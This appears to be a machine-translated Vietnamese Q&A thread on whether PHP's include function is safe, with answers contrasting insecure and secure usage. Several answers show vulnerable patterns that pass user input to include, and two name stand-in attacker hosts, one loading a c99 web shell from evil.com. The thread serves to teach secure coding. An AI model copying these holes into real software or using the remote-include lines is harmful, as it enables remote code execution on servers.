PHP - Chức năng "bao gồm" có an toàn không?

Question

Tôi đang sử dụng chức năng "include" (e.x. "include 'header2.php'" hoặc "include 'class.users.php'") để thêm tiêu đề hoặc lớp phiên trong trang web của tôi. Tôi không thực sự nhớ ở đâu, nhưng tôi nghe nói rằng tin tặc lạm dụng, bằng cách nào đó, điều này "bao gồm", gửi trang giả mạo bao gồm hoặc một cái gì đó như thế. Vì vậy, về cơ bản tôi muốn biết những gì với "bao gồm" chức năng, làm thế nào tôi có thể bảo vệ nó, làm thế nào để họ lạm dụng nó và nếu có giải pháp tốt hơn cho những gì tôi đang tìm kiếm.

Xin cảm ơn trước.

Answer 1

Tất cả phụ thuộc vào cách bạn triển khai. Nếu bạn đặt đường dẫn cụ thể, thì nó sẽ an toàn. Cuộc tấn công có thể xảy ra nếu bạn cho phép đầu vào của người dùng xác định đường dẫn tệp mà không cần vệ sinh hoặc kiểm tra.

không an toàn (Directory Traversal)

<?php 
include($_GET['file']); 
?> 

không an toàn (URL fopen - Nếu kích hoạt)

<?php 
include('http://evil.com/c99shell.php'); 
?> 

không an toàn

<?php 
include('./some_dir/' . $_GET['file']); 
?> 

một phần không an toàn (* file .php dễ bị tổn thương)

<?php 
include('./some_dir/' . $_GET['file'] . '.php'); 
?> 

an toàn (Mặc dù không chắc chắn lý do tại sao ai sẽ làm điều này.)

<?php 
$allowed = array(
    'somefile.php', 
    'someotherfile.php' 
); 

if (in_array(basename($_GET['file']), $allowed)) { 
    include('./includes/' . basename($_GET['file'])); 
} 
?> 

an toàn

<?php 
include('./includes/somefile.php'); 
?> 

Answer 2

Bao gồm được an toàn miễn là bạn không:

1. Bao gồm một tập tin từ xa như www.someoneelsesssite.com/something.php
2. Bao gồm một tập tin từ một con đường mà đến từ các khách hàng. www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
3. Bao gồm tệp từ một nguồn có thể bị nhiễm độc khác như cơ sở dữ liệu.

2 và 3 về mặt kỹ thuật có sự báo trước rằng nếu bạn không cho phép . hoặc / hay trên cửa sổ \ bạn có lẽ là tốt. Nhưng nếu bạn không biết tại sao, bạn không biết đủ về nó để mạo hiểm nó. Ngay cả khi bạn nghĩ rằng cơ sở dữ liệu chỉ đọc hoặc bảo mật khác, nó là khôn ngoan để không giả định rằng trừ khi bạn thực sự phải, mà là gần như không bao giờ.

Như câu trả lời của pp19dd chỉ ra. Nó cũng quan trọng là bạn đặt tên cho bao gồm của bạn với phần mở rộng .php. Nếu bạn đã đặt apache (hoặc bất kỳ máy chủ web nào bạn đang sử dụng) để phân tích cú pháp một loại tệp khác với PHP, thì điều đó cũng an toàn. Nhưng nếu bạn không biết chắc chắn, hãy sử dụng .php độc quyền.

Answer 3

Bao gồm thể bị lạm dụng nếu bạn làm điều gì đó như thế này:

include($_GET["page"]); 

và sau đó gọi URL:

myscript.php?page=index.php

kẻ tấn công sau đó có thể thay thế index.php cho hxxp://hackerz.ru/install_stuff.php và máy chủ của bạn sẽ sẵn sàng chạy nó.

include chính nó là hoàn toàn an toàn. Chỉ cần đảm bảo luôn xác thực/thoát khỏi đầu vào của bạn.

Answer 4

Điều tốt nhất cần làm là đảm bảo rằng trang bạn đang cố đưa vào tồn tại trước tiên. Các sơ hở bảo mật thực sự xuất hiện khi trang bao gồm của bạn được xử lý từ một số loại đầu vào của người dùng, chẳng hạn như biến URL. ?include=page.php Miễn là bạn thận trọng với những điều này, bạn sẽ ổn thôi.

if(is_file($file)) { 
    //other code, such as user verification and such should also go here 
    include $file; 
} 
else { die(); } 

Answer 5

Vấn đề lớn nhất với bao gồm có khả năng thay đổi filename mở rộng từ PHP để cái gì đó không được tự động thực hiện bởi các máy chủ web. Ví dụ: library.inc hoặc config.inc. Gọi các tệp này bằng trình duyệt web sẽ tiết lộ mã thay vì thực thi nó - và mọi mật khẩu hoặc gợi ý có thể khai thác sẽ được hiển thị.

So sánh config.php có thể có mật khẩu trong đó với config.inc. Kéo lên config.inc trong hầu hết các trường hợp sẽ cho thấy mật khẩu cơ sở dữ liệu là gì.

Có những lập trình viên sử dụng phần mở rộng .inc cho thư viện. Tiền đề là chúng sẽ không nằm trong một thư mục có thể truy cập bởi một máy chủ web. Tuy nhiên, ít lập trình an ninh hoang tưởng có thể đổ tập tin đó vào một thư mục web thuận tiện.

Nếu không, hãy đảm bảo rằng bạn không bao gồm tệp được chuỗi truy vấn gửi bằng cách nào đó. Ví dụ: include($_GET['menu_file']) < - điều này rất sai.

Answer 6

Bất kỳ mặt nào của máy chủ (giả sử máy chủ của bạn không bị xâm phạm) đều an toàn. Làm điều này:

$var = $_GET['var']';  
include $var . ".php"; 

không an toàn.

include "page.php"; 

là an toàn.

Answer 7

Tôi đang sử dụng phương pháp này od.

<?php include (dirname(__FILE__).'/file.php');